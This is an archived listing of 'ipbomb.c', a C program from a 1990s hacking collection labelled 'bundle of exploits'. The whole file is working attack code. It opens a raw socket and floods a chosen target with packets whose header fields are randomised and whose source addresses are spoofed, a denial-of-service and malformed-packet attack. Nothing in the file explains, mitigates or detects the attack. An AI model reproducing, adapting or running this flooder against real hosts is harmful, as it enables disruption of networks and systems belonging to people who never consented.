home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ipbomb.c < prev    next >
Text File  |  1998-07-17  |  5KB  |  240 lines

  1. /*    IP bomber     */
  2. #define DEBUG
  3. #include <stdio.h>
  4. #include <unistd.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <fcntl.h>
  8. #include <time.h>
  9. #include <sys/socket.h>
  10. #include <netinet/in.h>
  11. #ifndef __linux__
  12. #include <netinet/in_systm.h>
  13. #include <netinet/ip.h>
  14. #else
  15. #include <endian.h>
  16. #include <bsd/netinet/in_systm.h>
  17. #include <bsd/netinet/ip.h>
  18. #include <linux/wait.h>
  19. #include "/usr/src/linux/net/inet/skbuff.h"
  20. #endif
  21.  
  22. #include <assert.h>
  23.  
  24. static unsigned int wait_time = 0;
  25. static unsigned int packet_size = 80;
  26. static unsigned int packet_count = 1000;
  27. static int gateway = 0x0100007f;
  28. static int destination  = 0;
  29. static unsigned int uflag = 0;
  30. static unsigned int tflag = 0;
  31.  
  32. static int socket_fd;
  33. static struct sockaddr dest;
  34.  
  35.  
  36. /* Convert an ASCII string to binary IP. Borrowed from linux/net/inet/utils.c */
  37.  
  38. unsigned long
  39. in_aton(char *str)
  40. {
  41.   unsigned long l;
  42.   unsigned int val;
  43.   int i;
  44.  
  45.   l = 0;
  46.   for (i = 0; i < 4; i++) {
  47.         l <<= 8;
  48.         if (*str != '\0') {
  49.                 val = 0;
  50.                 while (*str != '\0' && *str != '.') {
  51.                         val *= 10;
  52.                         val += *str - '0';
  53.                         str++;
  54.                 }
  55.                 l |= val;
  56.                 if (*str != '\0') str++;
  57.         }
  58.   }
  59.   return(htonl(l));
  60. }
  61.  
  62.  
  63. void print_usage ()
  64. {
  65.     fprintf(stderr,
  66.         "Usage: ipbomber [-w time] [-s packet_size] [-c packets_count] host\n");
  67.     exit (1);
  68. }
  69.  
  70. void get_options (int argc, char *argv[])
  71. {
  72.     extern int optind;
  73.     extern char *optarg;
  74.     int    c;
  75.  
  76.     while (( c = getopt (argc, argv, "r:c:w:s:g:")) > 0) {
  77.         switch (c) {
  78.             case 'w' :
  79.                 wait_time = atoi (optarg);
  80.                 break;
  81.             case 's' :
  82.                 packet_size = atoi (optarg);
  83.                 break;
  84.             case 'c' :
  85.                 packet_count = atoi (optarg);
  86.                 break;
  87.             case 'g' :
  88.                 gateway = in_aton (optarg);
  89.                 break;
  90.             case 'r' :
  91.                 srand (atoi (optarg));
  92.                 break;
  93.             case 't' :
  94.                 tflag ++;
  95.                 break;
  96.             case 'u' :
  97.                 uflag ++;
  98.                 break;
  99.             default : 
  100.                 print_usage ();
  101.         }
  102.     }
  103.  
  104.     if ( optind >= argc ) 
  105.         print_usage ();
  106.     
  107.     destination = in_aton (argv[optind]);    
  108. #ifdef DEBUG
  109.     fprintf (stderr, "Wait time = %d\n", wait_time);
  110.     fprintf (stderr, "Maximum packet size = %d\n", packet_size);
  111.     fprintf (stderr, "Packets count = %d\n", packet_count);
  112.     fprintf (stderr, "Destination = %08x\n", destination);
  113.     fprintf (stderr, "Gateway = %08x\n", gateway);
  114.     if (tflag)
  115.         fprintf (stderr, "TCP option enabled\n");
  116.     if (uflag)
  117.         fprintf (stderr, "UDP option enabled\n");
  118. #endif
  119.     
  120. }
  121.  
  122. void init_raw_socket()
  123. {
  124.     unsigned int sndlen, ssndlen, optlen = sizeof (ssndlen);
  125.     int fl;
  126.  
  127.     if ( (socket_fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) {
  128.         perror ("ipbomb : socket ");
  129.         exit (1);
  130.     }
  131.  
  132. #ifdef __linux__
  133.     sndlen = packet_size + 128 + 1 + sizeof (struct sk_buff);
  134. #else
  135.     sndlen = packet_size;
  136. #endif
  137.     if ( setsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &sndlen,
  138.         sizeof (sndlen) ) ) {
  139.         perror ("ipbomb : setsockopt (..., ..., SO_SNDBUF,...) ");
  140.         exit (1);
  141.     }
  142.     if ( getsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &ssndlen,
  143.         &optlen) ) {
  144.         perror ("ipbomb : getsockopt (..., ..., SO_SNDBUF,...) ");
  145.         exit (1);
  146.     }
  147.  
  148.     if ( ssndlen != sndlen ) {
  149.         fprintf (stderr, "ipbomb: maximum packet size to big.\n");
  150.         exit (1);
  151.     }
  152.  
  153.  
  154.     fl = fcntl ( socket_fd, F_GETFL, 0);
  155.     fl |= O_NONBLOCK;
  156.     fcntl ( socket_fd, F_SETFL, fl);
  157.  
  158.     
  159. }
  160.  
  161.  
  162. void close_raw_socket()
  163. {
  164.     close (socket_fd);
  165. }
  166.  
  167. void send_packet( char *bomb, int len )
  168. {
  169.     int i;
  170.  
  171.     i = sendto (socket_fd, bomb, len, 0, &dest, sizeof (dest));
  172. /*
  173.     if ( i != packet_size )  {
  174.         perror ("ipbomb : sendto ");
  175.         exit (1);
  176.     }
  177. */
  178.     
  179. }
  180.  
  181. void generate_packet( char *bomb )
  182. {
  183.     struct ip * iph = (struct ip *) bomb;
  184.     unsigned int i;
  185.     unsigned int len = packet_size * (rand() & 0xffff) >> 16 ;
  186.  
  187.     assert ( len < packet_size );
  188. /* Options needed to be correct */
  189.     iph->ip_v = IPVERSION;
  190.     iph->ip_hl = 5;
  191.     iph->ip_sum = 0;
  192.     iph->ip_len = htons(len); 
  193.  
  194. /* Random options */
  195. #define SET_RAND(_a)  iph->_a = rand() & ((1 << (sizeof (iph->_a) * 8)) - 1)
  196.     SET_RAND(ip_tos);
  197.     SET_RAND(ip_id);
  198.     SET_RAND(ip_ttl);
  199.     SET_RAND(ip_off);
  200.     SET_RAND(ip_p);
  201. #undef SET_RAND
  202.     iph->ip_src.s_addr = rand();
  203.     iph->ip_dst.s_addr = destination ? destination : rand();
  204.  
  205.  
  206.     for ( i = sizeof (struct ip); i < len; i++)
  207.         bomb[i] = rand() & 255;
  208.  
  209.     send_packet(bomb, len);
  210. }
  211.  
  212. void main (int argc, char *argv[])
  213. {
  214.     int i;
  215.     char * bomb;     
  216.     struct sockaddr_in * inet_dest = (struct sockaddr_in *) & dest;
  217.  
  218.     srand (time (NULL));
  219.  
  220.     get_options (argc, argv);    
  221.  
  222.     bzero (&dest, sizeof (dest));
  223.     inet_dest->sin_family = AF_INET;
  224.     inet_dest->sin_addr.s_addr = gateway;
  225.  
  226.     if ( (bomb = malloc(packet_size)) == NULL) {
  227.         perror ("ipbomber: malloc");
  228.         exit(1);
  229.     }
  230.     
  231.     init_raw_socket();
  232.     
  233.     for ( i = 0; i < packet_count; i++ ) {
  234.         generate_packet (bomb);
  235.     }
  236.     
  237.     close_raw_socket();
  238.     
  239. }
  240.